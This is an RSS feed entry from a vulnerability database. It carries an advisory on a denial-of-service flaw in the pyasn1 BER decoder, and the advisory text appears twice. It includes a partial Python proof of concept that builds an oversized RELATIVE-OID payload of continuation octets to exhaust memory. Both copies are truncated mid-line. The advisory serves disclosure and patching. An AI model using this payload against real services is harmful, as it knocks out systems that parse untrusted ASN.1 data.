<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://db.gcve.eu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Fri, 02 Oct 2026 12:31:35 +0000</lastBuildDate>
    <item>
      <title>GHSA-63vm-454h-vhhq — pyasn1 has a DoS vulnerability in decoder</title>
      <link>https://db.gcve.eu/vuln/ghsa-63vm-454h-vhhq</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: pyasn1&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;The integer issue can be found in the decoder as `reloid += ((subId &amp;lt;&amp;lt; 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;For the DoS:
```py
import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource&lt;/p&gt;
&lt;p&gt;# Deliberately set memory limit to display PoC
try:
    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
    print(&amp;#34;[*] Memory limit set to 100MB&amp;#34;)
except:
    print(&amp;#34;[-] Could not set memory limit&amp;#34;)&lt;/p&gt;
&lt;p&gt;# Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])&lt;/p&gt;
&lt;p&gt;print(f&amp;#34;[*] Testing with {payload_size_mb}MB payload...&amp;#34;)&lt;/p&gt;
&lt;p&gt;payload_size = payload_size_mb * 1024 * 1024
# Create payload with continuation octets
# Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b&amp;#39;\x81&amp;#39; * payload_size + b&amp;#39;\x00&amp;#39;
length = len(payload)&lt;/p&gt;
&lt;p&gt;# DER length encoding (supports up to 4GB)
if length &amp;lt; 128:
    length_bytes = bytes([length])
elif length &amp;lt; 256:
    length_bytes = b&amp;#39;\x81&amp;#39; + length.to_bytes(1, &amp;#39;big&amp;#39;)
elif length &amp;lt; 256**2:
    length_bytes = b&amp;#39;\x82&amp;#39; + length.to_bytes(2, &amp;#39;big&amp;#39;)
elif length &amp;lt; 256**3:
    length_bytes = b&amp;#39;\x83&amp;#39; + length.to_bytes(3, &amp;#39;big&amp;#39;)
else:
    # 4 bytes can handle up to 4GB
    length_bytes = b&amp;#39;\x84&amp;#39; + length.t…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: pyasn1&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;The integer issue can be found in the decoder as `reloid += ((subId &amp;lt;&amp;lt; 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;For the DoS:
```py
import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource&lt;/p&gt;
&lt;p&gt;# Deliberately set memory limit to display PoC
try:
    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
    print(&amp;#34;[*] Memory limit set to 100MB&amp;#34;)
except:
    print(&amp;#34;[-] Could not set memory limit&amp;#34;)&lt;/p&gt;
&lt;p&gt;# Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])&lt;/p&gt;
&lt;p&gt;print(f&amp;#34;[*] Testing with {payload_size_mb}MB payload...&amp;#34;)&lt;/p&gt;
&lt;p&gt;payload_size = payload_size_mb * 1024 * 1024
# Create payload with continuation octets
# Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b&amp;#39;\x81&amp;#39; * payload_size + b&amp;#39;\x00&amp;#39;
length = len(payload)&lt;/p&gt;
&lt;p&gt;# DER length encoding (supports up to 4GB)
if length &amp;lt; 128:
    length_bytes = bytes([length])
elif length &amp;lt; 256:
    length_bytes = b&amp;#39;\x81&amp;#39; + length.to_bytes(1, &amp;#39;big&amp;#39;)
elif length &amp;lt; 256**2:
    length_bytes = b&amp;#39;\x82&amp;#39; + length.to_bytes(2, &amp;#39;big&amp;#39;)
elif length &amp;lt; 256**3:
    length_bytes = b&amp;#39;\x83&amp;#39; + length.to_bytes(3, &amp;#39;big&amp;#39;)
else:
    # 4 bytes can handle up to 4GB
    length_bytes = b&amp;#39;\x84&amp;#39; + length.t…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/ghsa-63vm-454h-vhhq</guid>
    </item>
  </channel>
</rss>
